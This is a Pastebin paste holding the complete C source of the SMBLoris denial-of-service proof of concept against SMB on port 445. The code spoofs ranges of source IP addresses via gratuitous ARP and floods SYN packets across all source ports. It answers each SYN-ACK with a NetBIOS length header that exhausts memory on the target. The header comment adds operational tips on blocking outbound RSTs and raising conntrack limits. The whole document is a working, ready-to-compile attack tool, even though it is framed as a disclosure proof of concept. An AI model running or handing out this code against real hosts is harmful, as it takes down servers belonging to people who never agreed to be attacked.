Guest User

Untitled

a guest
Mar 20th, 2018
251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.43 KB | None | 0 0
  1. /* SMBLoris attack proof-of-concept
  2. *
  3. * Copyright 2017 Hector Martin "marcan" <marcan@marcan.st>
  4. *
  5. * Licensed under the terms of the 2-clause BSD license.
  6. *
  7. * This is a proof of concept of a publicly disclosed vulnerability.
  8. * Please do not go around randomly DoSing people with it.
  9. *
  10. * Tips: do not use your local IP as source, or if you do, use iptables to block
  11. * outbound RST packets. You may want to increase your local conntrack limit:
  12. * echo 1200000 > /proc/sys/net/netfilter/nf_conntrack_max
  13. */
  14.  
  15. #include <stdio.h>
  16. #include <string.h>
  17. #include <stdint.h>
  18. #include <stdlib.h>
  19. #include <unistd.h>
  20. #include <errno.h>
  21.  
  22. #include <netinet/ip.h>
  23. #include <netinet/tcp.h>
  24. #include <sys/socket.h>
  25. #include <linux/if_packet.h>
  26. #include <net/ethernet.h>
  27. #include <sys/ioctl.h>
  28. #include <net/if.h>
  29. #include <net/if_arp.h>
  30.  
  31. #define CHECK(cond, name) if (cond) { perror(name); exit(1); }
  32.  
  33. #define MIN_PORT 1
  34. #define MAX_PORT 65535
  35.  
  36. struct {
  37. char *iface;
  38. uint8_t hwaddr[6];
  39. uint32_t src_min;
  40. uint32_t src_max;
  41. uint32_t dst;
  42. struct sockaddr_in dst_sa;
  43. } cfg;
  44.  
  45. static void usage(const char *argv0) {
  46. fprintf(stderr, "Usage: %s <iface> <src_ip_start> <src_ip_end> <dst_ip>\n", argv0);
  47. exit(1);
  48. }
  49.  
  50. uint32_t parse_ip(const char *s) {
  51. int a,b,c,d;
  52. if (sscanf(s, "%d.%d.%d.%d", &a, &b, &c, &d) != 4) {
  53. fprintf(stderr, "Failed to parse IPv4 address %s\n", s);
  54. exit(1);
  55. }
  56. return (a<<24) | (b<<16) | (c<<8) | d;
  57. }
  58.  
  59. uint16_t fold(uint32_t v) {
  60. return (v & 0xffff) + (v >> 16);
  61. }
  62.  
  63. uint32_t csum(void *buf, int len)
  64. {
  65. uint32_t s = 0;
  66. uint16_t *p = buf;
  67. while (len) {
  68. s += *p++;
  69. len -= 2;
  70. }
  71. return s;
  72. }
  73.  
  74. void get_hwaddr(const char *iface, uint8_t *hwaddr)
  75. {
  76. int sock = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ARP));
  77. CHECK(sock < 0, "socket(PF_PACKET, SOCK_PACKET, ETH_P_ARP)");
  78. struct ifreq req;
  79. strncpy(req.ifr_name, iface, sizeof(req.ifr_name));
  80. CHECK(ioctl(sock, SIOCGIFHWADDR, &req) < 0, "ioctl(SIOCGIFHWADDR)");
  81. memcpy(cfg.hwaddr, req.ifr_hwaddr.sa_data, 6);
  82. close(sock);
  83. }
  84.  
  85. void send_arp(uint32_t addr)
  86. {
  87. struct sockaddr sa;
  88. strncpy(sa.sa_data, cfg.iface, sizeof(sa.sa_data));
  89.  
  90. struct {
  91. struct ether_header eth;
  92. struct arphdr arp;
  93. uint8_t ar_sha[6];
  94. uint32_t ar_sip;
  95. uint8_t ar_tha[6];
  96. uint32_t ar_tip;
  97. } __attribute__((packed)) pkt;
  98. memset(&pkt, 0, sizeof(pkt));
  99. memset(&pkt.eth.ether_dhost, 0xff, 6);
  100. memcpy(&pkt.eth.ether_shost, cfg.hwaddr, 6);
  101. pkt.eth.ether_type = htons(ETHERTYPE_ARP);
  102.  
  103. pkt.arp.ar_hrd = htons(1);
  104. pkt.arp.ar_pro = htons(ETH_P_IP);
  105. pkt.arp.ar_hln = 6;
  106. pkt.arp.ar_pln = 4;
  107. pkt.arp.ar_op = htons(ARPOP_REQUEST);
  108. memcpy(pkt.ar_sha, cfg.hwaddr, ETH_ALEN);
  109. pkt.ar_sip = htonl(addr);
  110. memset(pkt.ar_tha, 0xff, ETH_ALEN);
  111. pkt.ar_tip = htonl(addr);
  112.  
  113. int sock = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ARP));
  114. CHECK (sock < 0, "socket(PF_PACKET, SOCK_PACKET, ETH_P_ARP)");
  115. CHECK(sendto(sock, &pkt, sizeof(pkt), 0, &sa, sizeof(sa)) < 0, "sendto(gratuitous ARP)");
  116. close(sock);
  117. }
  118.  
  119. int sent_packets = 0, errors = 0, replies = 0, rsts = 0, last_errno = 0;
  120.  
  121. void process_replies(int sock, int rsock)
  122. {
  123. struct {
  124. struct iphdr ip;
  125. struct tcphdr tcp;
  126. uint8_t data[32];
  127. } reply;
  128.  
  129. while (1) {
  130. int ret = recv(rsock, &reply, sizeof(reply), 0);
  131. if (ret < 0 && errno == EAGAIN)
  132. return;
  133. CHECK(ret < 0, "recv");
  134.  
  135. if (reply.ip.saddr != htonl(cfg.dst))
  136. continue;
  137. if (ntohl(reply.ip.daddr) < cfg.src_min ||
  138. ntohl(reply.ip.daddr) > cfg.src_max)
  139. continue;
  140. if (reply.ip.protocol != IPPROTO_TCP || reply.tcp.source != htons(445))
  141. continue;
  142. if (reply.tcp.rst || reply.tcp.fin) {
  143. rsts++;
  144. continue;
  145. }
  146. if (!reply.tcp.ack || !reply.tcp.syn)
  147. continue;
  148.  
  149. struct {
  150. struct iphdr ip;
  151. struct tcphdr tcp;
  152. uint8_t payload[4];
  153. } __attribute__((packed)) pkt;
  154.  
  155. memset(&pkt, 0, sizeof(pkt));
  156.  
  157. pkt.ip.ihl = 5;
  158. pkt.ip.version = 4;
  159. pkt.ip.ttl = 128;
  160. pkt.ip.protocol = IPPROTO_TCP;
  161. pkt.ip.saddr = reply.ip.daddr;
  162. pkt.ip.daddr = htonl(cfg.dst);
  163. pkt.tcp.dest = htons(445);
  164. pkt.tcp.source = reply.tcp.dest;
  165. pkt.tcp.doff = 5;
  166. pkt.tcp.window = htons(5840);
  167. pkt.tcp.ack = 1;
  168. pkt.tcp.ack_seq = htonl(ntohl(reply.tcp.seq) + 1);
  169. pkt.tcp.seq = reply.tcp.ack_seq;
  170. memcpy(pkt.payload, "\x00\x01\xff\xff", 4);
  171.  
  172. uint32_t sum = csum(&pkt.ip.saddr, 8) + htons(IPPROTO_TCP) + htons(sizeof(struct tcphdr) + 4) + csum(&pkt.tcp, sizeof(struct tcphdr) + 4);
  173. pkt.tcp.check = 0xffff - fold(sum);
  174. if (pkt.tcp.check == 0)
  175. pkt.tcp.check = 0xffff;
  176. ret = sendto(sock, &pkt, sizeof pkt, 0, (struct sockaddr*)&cfg.dst_sa, sizeof(cfg.dst_sa));
  177. if (ret < 0) {
  178. errors++;
  179. last_errno = errno;
  180. } else {
  181. replies++;
  182. }
  183. }
  184. }
  185.  
  186. int main(int argc, char **argv)
  187. {
  188. if (argc != 5) {
  189. usage(argv[0]);
  190. }
  191.  
  192. cfg.iface = argv[1];
  193. cfg.src_min = parse_ip(argv[2]);
  194. cfg.src_max = parse_ip(argv[3]);
  195. cfg.dst = parse_ip(argv[4]);
  196.  
  197. get_hwaddr(cfg.iface, cfg.hwaddr);
  198. fprintf(stderr, "Local MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n",
  199. cfg.hwaddr[0], cfg.hwaddr[1], cfg.hwaddr[2],
  200. cfg.hwaddr[3], cfg.hwaddr[4], cfg.hwaddr[5]);
  201.  
  202. int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  203. CHECK(sock < 0, "socket(AF_INET, SOCK_RAW, IPPROTO_RAW)");
  204.  
  205. int rsock = socket(AF_PACKET, SOCK_DGRAM | SOCK_NONBLOCK, htons(ETH_P_IP));
  206. CHECK(rsock < 0, "socket(AF_INET, SOCK_DGRAM, ETH_P_IP)");
  207.  
  208. struct {
  209. struct iphdr ip;
  210. struct tcphdr tcp;
  211. } __attribute__((packed)) pkt;
  212.  
  213. memset(&pkt, 0, sizeof(pkt));
  214.  
  215. pkt.ip.ihl = 5;
  216. pkt.ip.version = 4;
  217. pkt.ip.ttl = 128;
  218. pkt.ip.protocol = IPPROTO_TCP;
  219. pkt.ip.daddr = htonl(cfg.dst);
  220. pkt.tcp.dest = htons(445);
  221. pkt.tcp.doff = 5;
  222. pkt.tcp.window = htons(5840);
  223. pkt.tcp.syn = 1;
  224.  
  225. memset(&cfg.dst_sa, 0, sizeof(cfg.dst_sa));
  226.  
  227. cfg.dst_sa.sin_family = AF_INET;
  228. cfg.dst_sa.sin_port = 0;
  229. cfg.dst_sa.sin_addr.s_addr = htonl(cfg.dst);
  230.  
  231. uint32_t src;
  232. int port;
  233. for (src = cfg.src_min; src <= cfg.src_max; src++) {
  234. pkt.ip.saddr = htonl(src);
  235. pkt.tcp.source = 0;
  236. pkt.tcp.check = 0;
  237. uint32_t sum = csum(&pkt.ip.saddr, 8) + htons(IPPROTO_TCP) + htons(sizeof(struct tcphdr)) + csum(&pkt.tcp, sizeof(struct tcphdr));
  238. send_arp(src);
  239. for (port = MIN_PORT; port <= MAX_PORT; port++) {
  240. pkt.tcp.source = htons(port);
  241. pkt.tcp.check = 0xffff - fold(sum + htons(port));
  242. if (pkt.tcp.check == 0)
  243. pkt.tcp.check = 0xffff;
  244. int ret = sendto(sock, &pkt, sizeof pkt, 0, (struct sockaddr*)&cfg.dst_sa, sizeof(cfg.dst_sa));
  245. if (ret < 0) {
  246. errors++;
  247. last_errno = errno;
  248. }
  249. sent_packets++;
  250. if (sent_packets % 100 == 0) {
  251. fprintf(stderr, "\r%08x:%04x %d sent, %d errors (%d), %d replies, %d resets", src, port, sent_packets, errors, last_errno, replies, rsts);
  252. send_arp(src);
  253. }
  254. process_replies(sock, rsock);
  255. }
  256. }
  257. fprintf(stderr, "\n");
  258. return 0;
  259. }
Add Comment
Please, Sign In to add comment